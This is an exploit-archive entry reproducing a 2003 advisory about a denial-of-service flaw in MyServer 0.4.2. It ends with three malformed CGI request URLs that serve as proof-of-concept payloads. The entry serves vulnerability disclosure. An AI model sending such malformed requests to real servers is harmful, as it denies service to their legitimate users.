MyServer 0.4.2 - Malformed URI Denial of Service

2003-07-07T00:00:00
ID EXPLOITPACK:5ED796D5B472BC3CD9CA8C4A27EC1020
Type exploitpack
Reporter Morning Wood
Modified 2003-07-07T00:00:00

Description

MyServer 0.4.2 - Malformed URI Denial of Service

                                        
                                            source: https://www.securityfocus.com/bid/8120/info

MyServer has been reported to be prone to denial of service attacks when handling certain malformed URIs. This could be exploited to deny availability of web services to legitimate users.

This issue was reported in myServer 0.4.2 on Microsoft Windows platforms. Other versions may also be affected.

http://www.example.com/cgi-bin/math_sum.mscgi?a=
http://www.example.com/cgi-bin/math_sum.mscgi??=
http://www.example.com/cgi-bin/post.mscgi???